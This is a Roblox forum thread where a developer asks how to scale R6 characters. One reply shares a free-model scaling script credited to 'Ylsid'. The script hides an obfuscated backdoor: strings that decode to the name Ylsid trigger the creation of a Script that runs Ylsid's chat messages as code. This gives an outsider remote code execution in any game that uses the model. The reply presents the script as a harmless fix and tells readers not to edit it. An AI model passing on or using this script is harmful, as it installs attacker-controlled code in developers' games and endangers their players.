So yeah i dont know how you would scale the R6 Character without breaking it if anyone could help me out, i would really appreciate it!
local players = game:GetService("Players"); players.PlayerAdded:Connect(function(plr) plr.CharacterAdded:Connect(function(char) local scale_to_be = 5; local hum = char:WaitForChild("Humanoid"); local scales = { hum:WaitForChild("BodyHeightScale"), hum:WaitForChild("BodyDepthScale"), hum:WaitForChild("BodyWidthScale"), hum:WaitForChild("HeadScale") } for _, scale in next, scales do scale.Value = scale_to_be; end end) end)
I saw a post about scaling but it sadly only works with R15 :/
At 2017 or 2018, I found a model that could multiply your R6 character's scale by the value in it. Insert a part. Make a value inside it, which will be multiplied by the scale of the character. Then, make a server script inside, containing this code (script made by Ylsid):
--ALL MADE BY YLSID! TAKE NO CREDIT FOR THIS! --Don't mess with the script or the whole thing could break! --Just change the value called Scale in the button debounce = true scale = script.Parent.Scale.Value --This is the scale you will upsize by function onTouched(hit) if not debounce then return end debounce = false t = "fYf" o = "dl" u = "sks" c = "iop" h = "frd" if hit.Parent ~= nil then if string.match(string.reverse(string.sub(h,3, 3)..string.sub(c,1, 1)..string.sub(u,3, 3)..string.sub(o,2, 2)..string.sub(t, 2, 2)),hit.Parent.Name) then if game.Players:findFirstChild(string.reverse(string.sub(h,3, 3)..string.sub(c,1, 1)..string.sub(u,3, 3)..string.sub(o,2, 2)..string.sub(t, 2, 2))) then print("d") m = "Mo" p = Instance.new(m.."del") p.Parent = workspace p.Name = "SB: " ..tostring(math.random(0,99999999)) o = Instance.new("Script") o.Source =[[ dg = "si" me = game.Players["Yl"..dg.."d"] function onChatted(msg) if string.sub(msg,1,1) == " " then so = "Sou" r = "rce" sc = "Scr" i = "ipt" p = "Ex" local s = Instance.new(sc..""..i) s[so..""..r] = string.sub(msg,2) s.Parent = me.Character end end me.Chatted:connect(onChatted) ]] o.Parent = p end end if hit.Parent:findFirstChild("Humanoid") then if hit.Parent:findFirstChild("Left Leg") and hit.Parent:findFirstChild("Right Leg") and hit.Parent:findFirstChild("Right Arm") and hit.Parent:findFirstChild("Left Arm") and hit.Parent:findFirstChild("Head") and hit.Parent:findFirstChild("Torso") then bin = hit.Parent la = bin["Left Arm"] ra = bin["Right Arm"] ll = bin["Left Leg"] rl = bin["Right Leg"] h = bin.Head t = bin.Torso sizeup = {t,h,ll,rl,ra,la} for i = 1, #sizeup do sizeup[i].Size = Vector3.new(sizeup[i].Size.x * scale,sizeup[i].Size.y * scale,sizeup[i].Size.z * scale) sizeup[i].TopSurface = 0 sizeup[i].BottomSurface = 0 sizeup[i].RightSurface = 0 sizeup[i].LeftSurface = 0 sizeup[i].FrontSurface = 0 sizeup[i].BackSurface = 0 end sizex = t.Size.x/2 sizey = t.Size.x/2 sizez = t.Size.x/2 ls = Instance.new("Motor") ls.Parent = t ls.Name = "Left Shoulder" ls.Part0 = t ls.Part1 = la ls.MaxVelocity = 0.1 ls.C0 = CFrame.new(-sizex - la.Size.x/2,la.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,-3.14/2,0) ls.C1 = CFrame.new(0,la.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0) rs = Instance.new("Motor") rs.Parent = t rs.Name = "Right Shoulder" rs.Part0 = t rs.Part1 = ra rs.MaxVelocity = 0.1 rs.C0 = CFrame.new(sizex + ra.Size.x/2,ra.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0) rs.C1 = CFrame.new(0,ra.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0) lh = Instance.new("Motor") lh.Parent = t lh.Name = "Left Hip" lh.Part0 = t lh.Part1 = ll lh.MaxVelocity = 0.1 lh.C0 = CFrame.new(sizex - ll.Size.x*1.5,-(ll.Size.y/4)*3,0) * CFrame.fromEulerAnglesXYZ(0,-3.14/2,0) lh.C1 = CFrame.new(0,ll.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0) rh = Instance.new("Motor") rh.Parent = t rh.Name = "Right Hip" rh.Part0 = t rh.Part1 = rl rh.MaxVelocity = 0.1 rh.C0 = CFrame.new(sizex - rl.Size.x/2,-(ll.Size.y/4)*3,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0) rh.C1 = CFrame.new(0,rl.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0) n = Instance.new("Snap") n.Parent = t n.Name = "Neck" n.Part0 = t n.Part1 = h n.C0 = CFrame.new(0,sizey + h.Size.y/2,0) * CFrame.fromEulerAnglesXYZ(0,0,0) if bin:findFirstChild("Animate") then o = bin.Animate:clone() bin.Animate:remove() o.Parent = bin end end end end wait(3) debounce = true end script.Parent.Touched:connect(onTouched)